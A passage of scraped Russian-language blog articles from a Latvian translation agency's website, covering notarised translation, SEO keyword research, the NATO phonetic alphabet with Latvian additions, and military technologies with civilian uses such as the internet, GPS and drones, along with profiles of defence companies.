рекламой, бизнесом, созданием веб-сайта и т. д. , поскольку переведенный материал без локализации может не достичь целевого рынка вашей компании или даже быть неправильно понят. Скорее всего, менталитет бразильского рынка будет отличаться от латвийского, и переводчик, знающий культуру и языковые нюансы вашей целевой аудитории, будет знать, как обращаться к этим людям, и выбирать подходящие метафоры и выражения. НОТАРИАЛЬНО ЗАВЕРЕННЫЕ ПЕРЕВОДЫ Чтобы облегчить клиентам процесс легализации документов, многие бюро переводов также предоставляют услугу перевода с нотариальным заверением. Это означает, что перевод документа сначала заверяется подписью квалифицированного переводчика, а затем подпись переводчика заверяется присяжным нотариусом. В случае перевода официальных документов задача присяжного нотариуса – убедиться в наличии образования и квалификации переводчика и предупредить его об ответственности в соответствии со статьями 300 и 302 Уголовного закона Латвийской Республики, если ложный и/или неправильный перевод сделан умышленно. Если вам нужно перевести документы, следует проверить, предоставляет ли бюро переводов услугу нотариального заверения. РОЛЬ ТЕХНОЛОГИЙ В ПЕРЕВОДЧЕСКОЙ ОТРАСЛИ Технологии повлияли на все сферы нашей жизни, в том числе на переводческую отрасль. С изобретением компьютера и Интернета многое изменилось: переводчики получили доступ ко множеству цифровых ресурсов (словарям, языковым корпусам), что сократило время поиска (не нужно идти в библиотеку и листать толстые книги), ускорилась коммуникация с клиентами и между профессионалами отрасли, а бюро переводов получило возможность работать с лучшими отраслевыми специалистами, в какой бы точке мира они ни находились. Бюро переводов, которое следит за новейшими технологиями и возможностями информационных систем, заявляет о себе как о прогрессивной компании, идущей в ногу со временем. УСЛУГИ УДАЛЕННОГО ПЕРЕВОДА Процесс заказа перевода должен быть удобным, быстрым и понятным. Сегодня переводчики, редакторы и корректоры, а также вся административная часть бюро переводов могут работать удаленно. Коммуникация с клиентом по проекту от начала до конца может осуществляться по электронной почте, а перевод подписанных электронной подписью документов может быть выполнен в электронной среде. НАПИШИТЕ НАМ Бюро переводов Skrivanek является одним из крупнейших поставщиков языковых услуг в мире и предоставляет высококачественные и профессиональные услуги перевода более чем на 110 языков, предлагая корректуру носителем целевого языка, а также обратную связь по межкультурным различиям и различиям в деловом этикете. Свяжитесь с нами или посетите наш офис в Риге по адресу ул. Лачплеша, 87ц! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить Или запишитесь на онлайн-консультацию о языковых услугах прямо сейчас! Ziņu izvēlne Читайте нашу прошлую статьюValsts ieņēmumu dienestsЧитайте нашу новую статьюValsts sociālās apdrošināšanas aģentūra --- > При разработке веб-сайта или маркетинговой кампании важно провести исследование ключевых слов. SEO-специалисты Skrivanek выполняют исследование ключевых слов и оптимизацию веб-сайта. - Published: 2024-10-23 - Modified: 2024-10-24 - URL: https://skrivanek.lv/kas-ir-atslegas-vardu-izpete-ka-piesaistit-merkauditoriju-tiessaiste/ - Kategorijas: Raksti - Translation Priorities: Optional ЧТО ТАКОЕ ИССЛЕДОВАНИЕ КЛЮЧЕВЫХ СЛОВ? КАК ПРИВЛЕЧЬ АУДИТОРИЮ В ИНТЕРНЕТЕ? Почти 70 % онлайн-активности начинается с поиска в поисковых системах, таких как Google. Таким образом каждый интернет-пользователь может найти нужный товар или услугу, ответы на вопросы и другую ценную информацию. Поиск осуществляется путем ввода фразы или слов в поле поиска. Поисковая система отбирает и предлагает именно те результаты, в которых встречаются указанные слова или фразы. Чем более контент релевантен искомым ключевым словам, тем выше он оказывается в списке результатов, попадает на первые страницы поисковых систем и становится более заметным. Для привлечения целевой аудитории создателям контента нужно изучить конкретную тему и отрасль. Поэтому перед созданием контента необходимо провести исследование релевантных ключевых слов. Это касается разработки новых веб-сайтов и проведения маркетинговых кампаний в Интернете. Цель исследования ключевых слов – выяснить, что ищет в Интернете ваша целевая аудитория, и определить наиболее релевантные ключевые слова, чтобы ваш контент занимал первые места в результатах поиска. ПОЧЕМУ ИССЛЕДОВАНИЕ КЛЮЧЕВЫХ СЛОВ ТАК ВАЖНО? Просторы Интернета неизмеримы, как и количество информации в нем. Если вы хотите, чтобы аудитория находила ваш веб-сайт, будь то бизнес-сайт, интернет-магазин или блог, вам необходимо разработать стратегию SEO (поисковой оптимизации). Исследование ключевых слов – важнейшая часть этой работы. Не зная, какова целевая аудитория и по каким ключевым словам она будет искать конкретный контент, невозможно оптимизировать веб-сайт или адаптировать контент под потребности аудитории. Это означает лишь одно: целевая аудитория не узнает о конкретном товаре или услуге, компании, блоге или другом веб-сайте, а размещенный контент «утонет» в глубинах Интернета. В 49 % случаев наиболее релевантный результат по определенному ключевому слову или фразе на первой странице Google привлекает наибольшее внимание посетителей. Если этот контент отображается только на второй странице, пользователи нажимают на каждый результат менее чем в 1 % случаев. Чтобы привлечь целевую аудиторию на свой веб-сайт, необходимо определить ключевые слова, которые ищут пользователи, и создать контент, соответствующий их поисковым намерениям. Skrivanek рекомендует проводить исследование ключевых слов для любой онлайн-активности, особенно для разработки маркетинговых кампаний или веб-сайтов. Это поможет вам лучше узнать своих клиентов и аудиторию и выяснить, какую информацию они ищут. Вы также определите, с какими проблемами или потребностями сталкиваются ваши потенциальные клиенты и какие товары и услуги им нужны. ПРЕИМУЩЕСТВА ПРОВЕДЕНИЯ ИССЛЕДОВАНИЯ КЛЮЧЕВЫХ СЛОВ: УСПЕШНАЯ ОПТИМИЗАЦИЯ ПОИСКОВЫХ СИСТЕМ Исследование ключевых слов – неотъемлемая часть поисковой оптимизации. Оно позволяет выявить конкретные слова и фразы, которые люди используют при поиске предлагаемых вами товаров и услуг. Проведя эффективное исследование ключевых слов, вы сможете разработать SEO-стратегию, которая позволит внедрить в контент вашего веб-сайта самые лучшие и релевантные слова и фразы. Это повысит позицию вашего веб-сайта в Google и поможет занять более высокие позиции по ключевым словам, которые клиенты используют при поиске таких компаний, как ваша. Более конкретные ключевые слова привлекут на ваш веб-сайт заинтересованных пользователей и потенциальных клиентов. СПОСОБНОСТЬ СОЗДАВАТЬ ОТЛИЧНЫЙ КОНТЕНТ То, что люди ищут, является отражением того, что их интересует. Пользователи используют Google в качестве помощника, советчика и развлечения. Использование ключевых слов позволяет создавать контент, который соответствует потребностям вашей целевой аудитории и отвечает на ее вопросы. Исследование ключевых слов обеспечивает стратегию контента, ориентированного на пользователя, который привлекает и увеличивает вашу аудиторию. Отличный контент создает имидж компании, способствует формированию доверия и дополнительной ценности, а также выстраиванию отношений с аудиторией. Он также позволит вам предоставлять знания, необходимые для продвижения клиента по пути к покупке. ПОВЫШЕНИЕ ПОТЕНЦИАЛА ВЕБ-САЙТА 92,96 % трафика на веб-сайт поступает из Google Search, Google Images или Google Maps. Если вы хотите, чтобы ваш веб-сайт замечали и посещали, пользователи должны иметь возможность найти его. Объем трафика на веб-сайте зависит от популярности отобранных ключевых слов. На 0,16 % ключевых слов приходится 60,67 % поисковых запросов. Исследование ключевых слов необходимо для определения того, что популярно в конкретной отрасли, чтобы привлечь как можно больше потенциальных клиентов. СПОСОБНОСТЬ ОБГОНЯТЬ КОНКУРЕНТОВ Все ваши конкуренты ищут тех же клиентов, что и вы, поэтому очень важно выделяться среди них и занимать более высокое место в результатах поиска. Исследование ключевых слов позволит вам включить наиболее релевантные термины в свой контент, что повысит рейтинг вашего веб-сайта в Google и позволит обойти конкурентов. КТО ЗАНИМАЕТСЯ ИССЛЕДОВАНИЕМ КЛЮЧЕВЫХ СЛОВ? Профессиональное исследование ключевых слов проводят SEO-специалисты с помощью различных программ, инструментов поиска и подбора. Они позволяют определить как общие и короткие, так и специфические и длинные ключевые слова и фразы. SEO-специалисты Skrivanek проводят исследования целевой аудитории, определяют наиболее релевантные ключевые слова и помогают оптимизировать главную страницу, чтобы ваш продукт или услуга были видны потенциальным клиентам. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit ПЕРЕВОД ВЕБ-САЙТА Перевод веб-сайтов никогда не был таким простым! Наши специалисты предложат оптимальные решения по переводу и локализации, чтобы ваш веб-сайт соответствовал потребностям и местным особенностям вашего региона или рынка. Читать далее ЛОКАЛИЗАЦИЯ КОНТЕНТА ЦИФРОВОГО МАРКЕТИНГА Цифровой маркетинг, включающий веб-сайты и продуманные кампании в онлайн-медиа, завладевает сердцами и умами ваших клиентов посредством сообщений в виртуальной среде, а социальные сети позволяют им выстраивать более тесные отношения между собой. Особый прием, делающий ваш продукт уникальным, может потеряться при простом, классическом переводе – тут вам и придет на помощь локализация маркетингового контента. Читать далее РЕКЛАМА GOOGLE И SEO ПЕРЕВОДЫ Если ваш веб-сайт будет доступен на нескольких языках, это значительно повысит его конкурентоспособность. Наши специалисты выполнят локализацию вашего веб-сайта в соответствии с новейшими принципами SEO, чтобы он занимал как можно более высокие позиции в органическом поиске, а также адаптируют ключевые слова для рекламы Google Ads, чтобы потенциальные клиенты могли легко вас найти. Читать далее ПЕРЕВОД ВЕБ-САЙТА Перевод веб-сайтов никогда не был таким простым! Наши специалисты предложат оптимальные решения по переводу и локализации, чтобы ваш веб-сайт соответствовал потребностям и местным особенностям вашего региона или рынка. Читать далее ЛОКАЛИЗАЦИЯ КОНТЕНТА ЦИФРОВОГО МАРКЕТИНГА Цифровой маркетинг, включающий веб-сайты и продуманные кампании в онлайн-медиа, завладевает сердцами и умами ваших клиентов посредством сообщений в виртуальной среде, а социальные сети позволяют им выстраивать более тесные отношения между собой. Особый прием, делающий ваш продукт уникальным, может потеряться при простом, классическом переводе – тут вам и придет на помощь локализация маркетингового контента. Читать далее РЕКЛАМА GOOGLE И SEO ПЕРЕВОДЫ Если ваш веб-сайт будет доступен на нескольких языках, это значительно повысит его конкурентоспособность. Наши специалисты выполнят локализацию вашего веб-сайта в соответствии с новейшими принципами SEO, чтобы он занимал как можно более высокие позиции в органическом поиске, а также адаптируют ключевые слова для рекламы Google Ads, чтобы потенциальные клиенты могли легко вас найти. Читать далее Ziņu izvēlne Читайте нашу прошлую статьюValsts ieņēmumu dienestsЧитайте нашу новую статьюValsts sociālās apdrošināšanas aģentūra --- > Изучите тему точности коммуникации в военной сфере с помощью нашей шпаргалки по фонетическому алфавиту. Выучите алфавит от альфа до зулу. - Published: 2024-10-23 - Modified: 2024-10-24 - URL: https://skrivanek.lv/militarais-alfabets/ - Kategorijas: Raksti - Translation Priorities: Optional ЧТО ТАКОЕ ВОЕННЫЙ АЛФАВИТ? Когда вы представляете себе алфавит, то, скорее всего, думаете о буквах, из которых состоят слова и предложения. Возможно, вы думаете о латинском алфавите, а может, о кириллице. Это естественная ассоциация, однако стоит упомянуть и другие разновидности алфавитов, которые не связаны с иностранным языком, но все же помогают эффективно коммуницировать. Ознакомьтесь с военным алфавитом, известным также как фонетический алфавит НАТО, международный алфавит радиотелефонии или алфавит Международной организации гражданской авиации (ICAO). ДЛЯ ЧЕГО БЫЛ СОЗДАН ФОНЕТИЧЕСКИЙ АЛФАВИТ? История создания военного алфавита началась во время Первой мировой войны, когда армии понадобилась единая система для радиосвязи. Представьте, как легко запутаться при передаче информации, особенно если некоторые буквы (например, б и п или м и н) звучат одинаково в условиях помех радиосвязи. Чтобы избежать ошибок, была введена система, в которой каждой букве присвоено определенное название. Например, буква b заменена на Bravo, а буква d – на Delta. Военный алфавит исключает путаницу. Это невероятно полезно для эффективной коммуникации. Военный алфавит, особенно его наиболее распространенная версия – фонетический алфавит НАТО, стал незаменимым инструментом для военнослужащих, летчиков, моряков и представителей многих других профессий. Четко определенные слова обозначают каждую букву и цифру английского алфавита. Они помогают избежать ошибок и недопониманий. В некоторых экстремальных ситуациях это может даже спасти жизнь. Интересуетесь, как это работает? Например, слово help. В фонетическом алфавите оно будет звучать как Hotel Echo Lima Papa. Такой способ коммуникации может показаться простым, но чтобы привыкнуть к нему, требуется тренировка. ФОНЕТИЧЕСКИЙ АЛФАВИТ: КРАТКАЯ ИСТОРИЯ До Первой мировой войны, с появлением двусторонней голосовой радиосвязи, фонетические алфавиты улучшили четкость передачи данных по междугородним и низкокачественным телефонным линиям. Первый международно признанный невоенный фонетический алфавит был принят в 1927 году Международным консультативным комитетом по радио (CCIR), предшественником ITU (Международного союза электросвязи). Международная комиссия по аэронавигации, предшественница ICAO (Международной организации гражданской авиации), в 1932 году приняла алфавит, который использовался до Второй мировой войны. Во время Второй мировой войны в разных странах были разработаны собственные фонетические алфавиты. Соединенные Штаты стандартизировали свою систему в 1941 году, используя объединенный алфавит радиотелефонной связи армии и флота, известный как Able Baker. В Королевских ВВС и других британских войсках были приняты аналогичные алфавиты с такими терминами, как Freddie для буквы F и Sugar для буквы S. Оба кодовых названия до сих пор иногда используются в Великобритании. Военные США провели значимые исследования фонетических алфавитов в годы Второй мировой войны. В международной авиации был принят алфавит Able Baker. Однако ориентация звуков на английский язык привела к разработке альтернативных вариантов в Латинской Америке, таких как алфавит Ana Brazil. В 1947 году IATA предложила ICAO разработать алфавит, который включает звуки, характерные для английского, французского, испанского и португальского языков. С 1948 по 1949 год профессор лингвистики Жан-Поль Вине работал с ICAO над созданием нового фонетического алфавита. Слова должны были быть легко произносимыми и узнаваемыми для пилотов на всех языках, с хорошими характеристиками радиопередачи и читаемости, а также одинаковыми на английском, французском и испанском языках. Пересмотренный алфавит был принят ICAO в 1951 году. Однако с данным списком возникли проблемы, особенно в отношении разборчивости в плохих условиях. После длительных испытаний и исследований, проведенных разными странами, новый официальный фонетический алфавит был опубликован ICAO в 1956 году и вскоре после этого принят Организацией Североатлантического договора (НАТО). КТО ИСПОЛЬЗУЕТ ФОНЕТИЧЕСКИЙ АЛФАВИТ? Фонетический алфавит быстро приняли различные международные организации, в том числе: Международный союз электросвязи (ITU), Международная морская организация (IMO), Министерство обороны США, Федеральное управление гражданской авиации (FAA), Международный радиолюбительский союз (IARU), Американская радиорелейная лига (ARRL) и Ассоциация официальных представителей служб связи органов общественной безопасности (APCO). Несмотря на то что разные организации, как правило, использовали одни и те же буквенные кодовые слова, в случае с цифровыми кодовыми словами наблюдались небольшие различия. НАТО предпочла использовать обычные английские числительные (zero, one, two и т. д. ). Напротив, ITU и IMO установили объединенные числительные (например, nadazero для нуля, unaone для единицы, bissotwo для двойки и т. д. ). Однако на практике данные термины используются редко, в основном потому, что не являются общими для всех организаций. ОСНОВЫ ФОНЕТИЧЕСКОГО АЛФАВИТА Фонетический алфавит НАТО – это не просто набор определенных, легко запоминающихся слов, закрепленных за буквами. Рассмотрим каждое из них подробнее: альфа (A), браво (B), чарли (C), дельта (D), экоу (E), фокстрот (F), гольф (G), хоутел (H), индиа (I), джульетт (J), кило (K), лима (L), майк (M), новембер (N), оскар (O), папа (P), квебек (Q), ромео (R), сьерра (S), танго (T), юниформ (U), виктор (V), уиски (W), эксрэй (X), янки (Y) и зулу (Z). Все слова были тщательно подобраны. Они уникальны и значительно отличаются друг от друга по звучанию. Это существенно снижает риск опасных ошибок, когда возникают проблемы со связью или когда сообщение трудно расслышать. КАК ПОЛЬЗОВАТЬСЯ МЕЖДУНАРОДНЫМ АЛФАВИТОМ РАДИОТЕЛЕФОНИИ? Представьте себе пилота в самолете. Он должен передать важную информацию о полете. Вместо того чтобы просто произнести номер рейса, например FL380 (что может быть неправильно понято авиадиспетчерами), пилот использует алфавит НАТО. Он говорит: «Фокстрот лима три восемь ноль», и его сразу же понимают. ВОЕННЫЙ АЛФАВИТ: ПАМЯТКА Военный алфавит включает буквы и цифры. Вот удобная памятка, которой можно пользоваться всякий раз, когда нужно прибегнуть к фонетическому алфавиту. БУКВЫ Альфа (A) Alpha Браво (B) Bravo Чарли (С) Charlie Дельта (D) Delta Экоу (E) Echo Фокстрот (F) Foxtrot Гольф (G) Golf Хоутел (H) Hotel Индиа (I) India Джульетт (J) Juliett Кило (K) Kilo Лима (L) Lima Майк (М) Mike Новембер (N) November Оскар (O) Oscar Папа (P) Papa Квебек (Q) Quebec Ромео (R) Romeo Сьерра (S) Sierra Танго (T) Tango Юниформ (U) Uniform Виктор (V) Victor Уиски (W) Whiskey Эксрей (X) X-ray Янки (Y) Yankee Зулу (Z) Zulu Однако, например, присутствующим в латышском алфавите долгим гласным и согласным со знаками палатализации соответствуют дополнительные буквы в фонетическом алфавите: Адажи (Ā) Ādaži Чиекури (Č) Čiekuri Эдоле (Ē) Ēdole Германи (Ģ) Ģermāņi Илени (Ī) Īleni Кемери (Ķ) Ķemeri Ляудона (Ļ) Ļaudona Нью-Йорк (Ņ) Ņujorka Шанхай (Š) Šanhaja Уделе (Ū) Ūdele Жигури (Ž) Žīguri ЦИФРЫ Zero (0) One (1) Two (2) Three (3) Four (4) Five (5) Six (6) Seven (7) Eight (8) Nine (9) Данная памятка – полезный справочник. Он поможет в тех случаях, когда требуется четкая и ясная коммуникация, например во время радиосвязи, военных операций или даже в некоторых гражданских ситуациях (например, в авиации или при обслуживании клиентов). Держите ее под рукой, когда каждое слово на счету! КАК ВЫУЧИТЬ ФОНЕТИЧЕСКИЙ АЛФАВИТ? Поначалу изучение фонетического алфавита НАТО может показаться сложной задачей, но следующие эффективные методы ее упростят. 1. РАЗДЕЛЕНИЕ АЛФАВИТА НА НЕБОЛЬШИЕ ГРУППЫ Начните с разделения алфавита на небольшие, легко читаемые группы букв. Изучайте их одну за другой. Начните с группы A–E (альфа, браво, чарли, дельта, экоу), а затем двигайтесь вниз. Такой подход делает процесс изучения менее сложным. А если вы хотите бросить себе вызов, попробуйте добавить буквы латышского фонетического алфавита, перечисленные выше. 2. РЕГУЛЯРНОЕ ПОВТОРЕНИЕ И ПРАКТИКА Возьмите за привычку пользоваться фонетическим алфавитом в повседневной жизни. Используйте его для произношения фамилий или адресов. Попали в пробку? Потренируйтесь на номерных знаках соседних машин или именах друзей. 3. СОЗДАНИЕ ФЛЕШ-КАРТЫ Создайте флеш-карты с буквами и соответствующими названиями. Добавьте картинки, ассоциирующиеся с каждой буквой. Визуальные подсказки очень помогают при запоминании. 4. ПРИВЛЕЧЕНИЕ ДРУЗЕЙ ИЛИ РОДСТВЕННИКОВ Привлеките к процессу изучения друзей или членов семьи. Попросите их назвать букву и ответить правильным кодовым словом. Со временем фонетический алфавит НАТО и дополнительный латышский алфавит станут для вас такими же естественными, как и обычный алфавит. ВОЕННЫЕ ПЕРЕВОДЫ Военный перевод – очень ответственная задача. Бюро переводов Skrivanek специализируется на переводах для клиентов из оборонного сектора. Мы разбираемся в тонкостях военного языка. В нашей команде работают опытные переводчики, бывшие военные и эксперты по безопасности. Каждый перевод точен и сохраняет контекст оригинала. Если вы занимаетесь международной деятельностью или нуждаетесь в переводе специализированных документов, мы позаботимся о том, чтобы ваша коммуникация была корректной и понятной. Сотрудничество со Skrivanek означает, что каждое слово будет точно переведено. Заполните контактную форму на нашем веб-сайте, чтобы получить бесплатное предложение для вашего проекта, или запишитесь на онлайн-консультацию, чтобы узнать, чем мы можем вам помочь. Ziņu izvēlne Читайте нашу прошлую статьюValsts ieņēmumu dienestsЧитайте нашу новую статьюValsts sociālās apdrošināšanas aģentūra --- > Развитие военных технологий оказывает положительное влияние на гражданский и коммерческий секторы. Познакомьтесь с международными и латвийскими компаниями. - Published: 2024-10-23 - Modified: 2024-11-05 - URL: https://skrivanek.lv/militaras-tehnologijas/ - Kategorijas: Raksti - Translation Priorities: Optional ВОЕННЫЕ ТЕХНОЛОГИИ В современных условиях все больше внимания уделяется инновациям в сфере военной и гражданской обороны. Чтобы конкурировать с потенциальными противниками, странам необходимо использовать и развивать передовые технологии и компетенции будущего. Для достижения этой цели совместная работа в сфере военных, гражданских и технических инноваций является неизбежным выбором. РАЗРАБОТКИ В СФЕРЕ ВОЕННЫХ ТЕХНОЛОГИЙ, КОТОРЫЕ ПРИВЕЛИ К ПОЯВЛЕНИЮ РЕШЕНИЙ, ВОШЕДШИХ В НАШУ ПОВСЕДНЕВНУЮ ЖИЗНЬ Мы можем даже не подозревать, что многие изобретения, которыми пользуемся в повседневной жизни, созданы военными. Некоторые примеры приведены ниже. ИНТЕРНЕТ Самое популярное изобретение, перешедшее из военной сферы на гражданский рынок, – Интернет. После окончания Второй мировой войны правительство США опасалось, что новый глобальный конфликт неизбежен. Тогда американцы пришли к выводу, что ключ к успеху в возможном будущем столкновении заключается не только в силе и оружии, но и в эффективном потоке информации. Так родилась идея создания коммуникационной сети. В 1958 году президент США Дуайт Дэвид Эйзенхауэр поручил выполнение этой задачи специальной исследовательской организации под названием DARPA, или Управление перспективных исследовательских проектов Министерства обороны США. Спустя 11 лет были построены первые узлы связи и родилась сеть ARPANET – предшественница современного Интернета. Именно через эту сеть в 1971 году было отправлено первое в истории электронное письмо благодаря Рэю Томлинсону. Его работа в Министерстве обороны США привела к созданию программного обеспечения, используемого для связи в правительственной сети ARPANET. Томлинсон также ввел символ @ в системы адресации электронной почты. GPS GPS-навигация, которой мы пользуемся почти каждый день, тоже берет начало в военном деле. Она была разработана для Военно-морских сил США. В декабре 1973 года стартовала первая фаза системы GPS – NAVSTAR. В данном проекте приняли участие все рода войск США (армия, флот, ВВС), а также частные компании и исследовательские центры. ДРОНЫ Одним из новейших устройств, нашедших свою нишу на гражданском рынке, являются беспилотные летательные аппараты, или дроны. Изначально эти устройства производились для военных, но сегодня их может приобрести любой желающий. Самый известный военный беспилотник – Predator – признан одним из 10 беспилотников, изменивших мир. Беспилотные летательные аппараты навсегда изменили работу военных и авиации. Они появились в 1970–1980-х годах, когда по инициативе Израиля и США были созданы планеры, известные как беспилотные летательные аппараты (БПЛА), на основе которых впоследствии создали современные беспилотники. МИКРОВОЛНОВАЯ ПЕЧЬ История создания микроволновой печи очень необычна. В 1946 году инженер компании Raytheon Перси Спенсер тестировал детали магнетрона для военного радара и вдруг понял, что из-за них растаяли конфеты в его кармане. Он был настолько заинтригован этим феноменом, что решил исследовать и использовать его в своих целях. Инженер попробовал поместить под магнетронную трубку яйца и зерна попкорна и понял, что она может эффективно нагревать яйца и разогревать попкорн. Через год на рынке появилась первая коммерческая микроволновая печь, оснащенная данной технологией. КОМПАНИИ, СОЧЕТАЮЩИЕ КОММЕРЧЕСКОЕ И ОБОРОННОЕ ПРОИЗВОДСТВО Многие коммерческие компании усматривают и используют возможность ускорить свое развитие путем участия в производстве военных устройств. Компания с диверсифицированной производственной и клиентской средой способна, например, пережить потенциальный кризис или спад в отрасли (пример: пандемия COVID-19). Армия как организация, финансируемая государством, является крупным и стабильным клиентом, и сотрудничество с ней может означать порой медленный, но стабильный рост и доход для компании. Ниже приведены примеры компаний, успешно сочетающих коммерческое и военное производство. Raytheon Американская компания, одна из крупнейших в мире по производству оружия. Компания Raytheon изготавливает широкий спектр продукции – от радаров и ракетных систем до авиационных двигателей и систем отопления, вентиляции и кондиционирования воздуха. Компания производит новейшую систему зенитных управляемых ракет (ЗУР) MIM-104 Patriot, способных поражать цели на расстоянии более 100 км. После слияния с United Technologies в 2020 году Raytheon владеет широким портфелем аэрокосмических предприятий, включая компании по производству двигателей Pratt & Whitney и Collins Aerospace. Raytheon также не слишком зависит от Пентагона и коммерческих авиакомпаний. Boeing Boeing – американская компания, известная в первую очередь производством коммерческих и военных самолетов, а также космических технологий и оборонных систем. На оборонный сектор приходится менее трети всего оборота компании Boeing. Большая часть оборонного портфеля Boeing основана на авиации: F/A-18 Super Hornet, истребители F-15, вертолеты Apache и несколько самолетов наблюдения и поддержки. General Dynamics Компания является крупным поставщиком танков и тяжелой наземной техники для правительства США и владеет несколькими верфями, производящими атомные военные корабли и подводные лодки. Производит знаменитые танки Abrams. General Dynamics также владеет компанией Gulfstream – одним из крупнейших в мире производителей бизнес-джетов. ВОЕННЫЙ СЕКТОР В ЛАТВИИ Не только транснациональные компании сумели приспособиться к сегодняшней стрессовой ситуации – в Латвии тоже много различных предприятий, которые могут предложить свои услуги и продукцию военному сектору. SIA Pelegrin Некоторые из вас, возможно, слышали о сверхлегком самолете Tarragon, который производится и собирается в Латвии и уже используется нашими вооруженными силами с 2022 года. С 2018 года самолеты Tarragon строятся в Риге, на Мангальсале. Эти сверхлегкие самолеты изготавливаются вручную, без использования конвейеров или роботизированного оборудования. Детали самолета изготавливаются в основном в Риге – двигатель, электроника и специальные корпуса Tarragon в Риге не производятся. Tarragon – двухместный самолет, который может развивать скорость до 370 км/ч и подниматься на высоту до 3,5 км. Благодаря экономичным эксплуатационным расходам и размерам самолеты SIA Pelegrin пользуются популярностью у состоятельных людей в Европе, Азии и США для выполнения как частных, так и прогулочных полетов. VR-1 FOX В 2020 году основатели двух известных местных гоночных команд – SIA Baltic Motorsport Promotion и SIA Vāģi – объединили усилия для создания лучшего на рынке армейского автомобиля для спецназа – VR FOX. В 2021 году компания получила финансирование от Министерства обороны Латвии на первоначальное проектирование военного транспортера. В 2022 году компания подписала с Национальными вооруженными силами Латвии контракт на исследования и разработки для производства первых двух прототипов. Первый автомобиль был представлен на военном полигоне в Адажи 5 сентября 2022 года. Он также принял участие в военном параде Национальных вооруженных сил в честь Дня независимости 18 ноября 2022 года. Военные скутеры Mosphera В конце 2020 года начались разработка и создание прототипа скутера Mosphera с высокой подвеской, серийное производство которого стартовало в январе 2022 года. Отдавая приоритет прочности, эти скутеры построены как танки и могут использоваться в лесном и сельском хозяйстве, на охоте, в логистике, портах, аэропортах и даже в виноградарстве. Сообщается, что эти уникальные электрические скутеры уже поступили к покупателям в США, Чехии, Франции, Израиле, Польше, Финляндии, Словакии и Швейцарии, а их реальные возможности тестируются в Украине. В начале 2023 года четыре таких электрических скутера были переданы в дар украинской армии благодаря кампании Labas ziņas на платформе Ziedot. lv. Военные скутеры Mosphera производятся в Лиепае компанией Global Wolf Motors. По утверждению компании, эти скутеры прошли испытания на высокую проходимость и развивают максимальную скорость до 100 км/ч. Кроме того, на одной зарядке они могут проехать до 300 км. Возможности скутеров будут полезны армейским разведчикам и спецподразделениям, чьи задачи основаны на мобильности и маневренности. Бронеавтомобили Patria 6x6 Подписав в 2021 году контракт с правительством Финляндии и компанией Patria, Латвия заказала более 200 бронетранспортеров Patria 6x6, которые будут поставлены к 2029 году. Данное соглашение о сотрудничестве укрепляет боеспособность Национальных вооруженных сил Латвии, а также латвийского военного сектора и экономики в целом. Компания Patria принадлежит финскому правительству (50,1 %) и норвежской компании Kongsberg Defence & Aerospace AS (49,9 %). Patria была учреждена в 1997 году в результате слияния нескольких финских производителей военных и аэрокосмических систем. С целью внести свой вклад в развитие латвийского военного сектора, а также модернизировать, собирать и ремонтировать бронемашины Patria 6x6, 24 мая 2024 года в Валмиере было открыто производство военной техники Defence Partnership Latvia группы компаний Patria, где будут производиться бронемашины Patria 6x6. Латвийский производитель беспилотных летательных аппаратов SIA Edge Autonomy Riga Предприятие SIA Edge Autonomy Riga (ранее – UAV Factory) основано в 2009 году и имеет офисы в Латвии и США. Компания является одним из ведущих мировых поставщиков беспилотных авиационных систем. Ее самолеты и видеокамеры продаются в более чем 50 странах для военных, гражданских и научных целей. Компания уже поставила несколько беспилотных систем Национальным вооруженным силам Латвии. В 2023 году модели самолетов компании были переданы украинской армии в рамках пакета военной помощи США. ПРЕИМУЩЕСТВА АДАПТАЦИИ ВОЕННЫХ ТЕХНОЛОГИЙ К ГРАЖДАНСКОМУ СЕКТОРУ Из вышеизложенного можно сделать вывод, что адаптация военных технологий к гражданскому сектору приносит много пользы обществу. Передовые решения, разработанные для армии, могут использоваться в повседневной жизни, повышая уровень безопасности и комфорта граждан. Их применение в гражданском секторе позволяет также создать более устойчивую инфраструктуру, более эффективные спасательные системы и передовые коммуникационные решения. Кроме того, передача знаний и опыта военных промышленникам стимулирует и подталкивает глобальное экономическое и технологическое развитие. Это способствует созданию новых рабочих мест и укрепляет позиции страны на международном рынке. РОЛЬ УСТНЫХ И ПИСЬМЕННЫХ ПЕРЕВОДЧИКОВ В ГРАЖДАНСКИХ ВОЕННЫХ ТЕХНОЛОГИЯХ Роль устных и письменных переводчиков становится все более важной по мере развития передовых военных технологий на международном уровне. Устные и письменные переводчики обеспечивают эффективное общение между военными специалистами и гражданскими коллегами, гарантируя беспрепятственный обмен знаниями и опытом при реализации совместных проектов. Точный перевод инструкций, спецификаций и технической документации необходим гражданским организациям для полного использования потенциала этих передовых решений. Кроме того, письменные и устные переводчики способствуют международному сотрудничеству в области оборонных технологий, обеспечивая эффективную коммуникацию между партнерами из разных стран. Их роль крайне важна для укрепления доверия и взаимопонимания, что необходимо для эффективной разработки и внедрения инновационных решений. Компания Skrivanek занимается военными переводами уже более 30 лет. У нас большой опыт перевода конфиденциальных документов для НАТО, ЕС и компаний, работающих в данном секторе. Мы также используем и внедряем новые технологии, чтобы удовлетворить постоянно меняющиеся потребности наших 